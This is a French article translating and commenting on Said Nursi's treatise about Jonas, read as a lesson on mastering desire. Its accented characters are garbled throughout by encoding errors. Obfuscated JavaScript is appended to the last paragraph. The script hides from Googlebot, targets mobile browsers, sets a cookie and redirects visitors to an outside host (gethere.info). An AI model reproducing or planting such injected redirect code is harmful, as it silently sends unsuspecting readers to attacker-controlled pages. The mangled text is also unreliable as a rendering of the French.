Note introductive

Cet article propose une traduction libre, voire une interprA�tation personnelle pour certains passages, du premier traitA� du livre intitulA� Lemalar (Les A�clats) de Bediuzzaman Said Nursi, un penseur musulman d’origine kurde qui a vA�cu en Asie mineure fin XIXA?me, dA�but XXA?me siA?cle. Il a notamment laissA� derriA?re lui la collection des Risale-i Nur (TraitA�s de lumiA?re), un ensemble de 14 volumes regroupant quelques 1400 traitA�s dans 6000 pages, le travail de 40 annA�es de sa vie.

Dans ce traitA�, A� traversA�l’histoire du prophA?te Jonas (p.s.l.), l’auteur explique que l’A?tre humain est confrontA� A� un combat contre ses dA�sirs et que ce combat a un impact direct sur sa vie sur terre et dans l’au-delA�. Pour faire un peu de lumiA?re sur le contexte, les rA�cits A� propos de Jonas (p.s.l.) rapportent qu’il a prA?chA� la parole de Dieu A� son peuple durant 33 annA�es mais que seuls 2 personnes le crurent. Cet entA?tement de son peuple A� rester dans l’ignorance le mit en colA?re et il voulut abandonner son peuple sans la permission de Dieu. Il prit la mer avec un A�quipage et rencontra d’innombrables difficultA�s durant son voyage. Le bateau allant couler, il fallut que l’un des passagers se sacrifie et pour le dA�signer ils tirA?rent au sort. Nursi rappelle et interprA?te ces faits en tirant une leA�on pour le croyant musulman. La suite de l’article semblera donc s’adresser davantage aux croyants mais chacun, croyant ou non, pourra en tirer substance A� rA�flA�chir sur le plan spirituel et philosophique. Nursi s’exprime donc, sur le fond, en des termes similaires A� ceux qui suivent :


 

Jonas (p.s.l.) fut jetA� A� la mer et avalA� par un A�norme poisson. Dans une mer agitA�e et une nuit bruyante et dans le dA�sespoir qui rA�gnait ; le verset

« Et DA�’n-NA�n (Jonas) quand il partit, irritA�. Il pensa que Nous n’allions pas l’A�prouver. Puis il fit, dans les tA�nA?bres, l’appel que voici : A� Pas de divinitA� A� part Toi! PuretA� A� Toi! J’ai A�tA� vraiment du nombre des injustes A�. » (Al-Anbiya, 87 – Traduction de M. Hamidullah)

lui fut d’un secours rapide.

En effet, celui qui pouvait le sauver devait A?tre le maA�tre du poisson, de la nuit, de la mer et du ciel car tous A�taient contre lui. Et mA?me si tous les peuples avaient A�tA�A�aux ordres de Jonas (p.s.l.), ils ne lui auraient A�tA�A�d’aucun secours. Mais d’un coup, cette supplication avait fait plier ciel, mer et poisson. Ce poisson A�tait devenu tel un sous-marin, la mer tel un dA�sert calme sans danger et le ciel, en se nettoyant de ses nuages, laissait la lune A�clairer sa route, telleA�une lampe. Toute la crA�ation qui semblait A?tre son ennemie lui montrait maintenant un visage amical ; jusqu’A� ce qu’il atteigne la plage sans crainte, tA�moin du prA�sent de son Seigneur.

Notre situation estA�cent fois pire que celle dans laquelle Jonas (p.s.l.) se trouvait. Notre avenir est comme la nuit. C’est lA� notre inconnu. Notre nuit est cent fois plus dure que la sienne. Notre mer est cette terre sur laquelle nous vivons, parsemA�e de difficultA�s, sur le plan moral et sur le plan physique telles des vagues menaA�antes. Notre mer est mille fois plus effroyable que la sienne. Nos envies et nos dA�sirs sont notre A�norme poisson. Ils peuvent nous engloutir et ne plus nous laisser sortir de nos travers, nos erreurs et diverses mauvaises habitudes. Notre poisson est mille fois plus dangereux que le sien, parce que le poisson de Jonas (p.s.l.) ne pouvait dA�truire qu’une vie de cent ans, au mieux, tandis que le nA?tre s’efforce de dA�truire des centaines de millions d’annA�es de vie, celles de l’au-delA�. Puisque notre situation est telle, nous devons, en suivant l’exemple du prophA?te Jonas (p.s.l.), nous tourner vers le Tout-Puissant qui est le seul A� pouvoir nous secourir et en disant

A� Pas de divinitA� A� part Toi! PuretA� A� Toi! J’ai A�tA� vraiment du nombre des injustes A� (Al-Anbiya, 87)

nous en remettre au MaA�tre de l’avenir, du monde et de nos dA�sirs. Car qui peut A�clairer notre avenir par l’au-delA� et nous sauver des milliers de vagues cherchant A� nous noyer si ce n’est Lui ? Rien ne peut en aucun cas, sans Sa permission et Sa volontA�, nous venir en aide.

Ainsi, nous devons suivre l’exemple de Jonas (p.s.l.) et en nous fiant au Seigneur, traverser la nuit qu’est notre vie sur la mer qu’est notre terre pour enfin atteindre la plage qu’est le Paradis. Nous devons suivre son exemple pour que les tremblements et les tempA?tes de la mer ne soient pas pour nous des craintes et des peurs mais des leA�ons pour illuminer nos vies. Et grA?ce A� ce verset et A� l’A�ducation du Coran, nos dA�sirs ne nous contrA?leront pas mais nous les contrA?lerons afin d’en faire notre raison de mA�riter la vie A�ternelle.var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}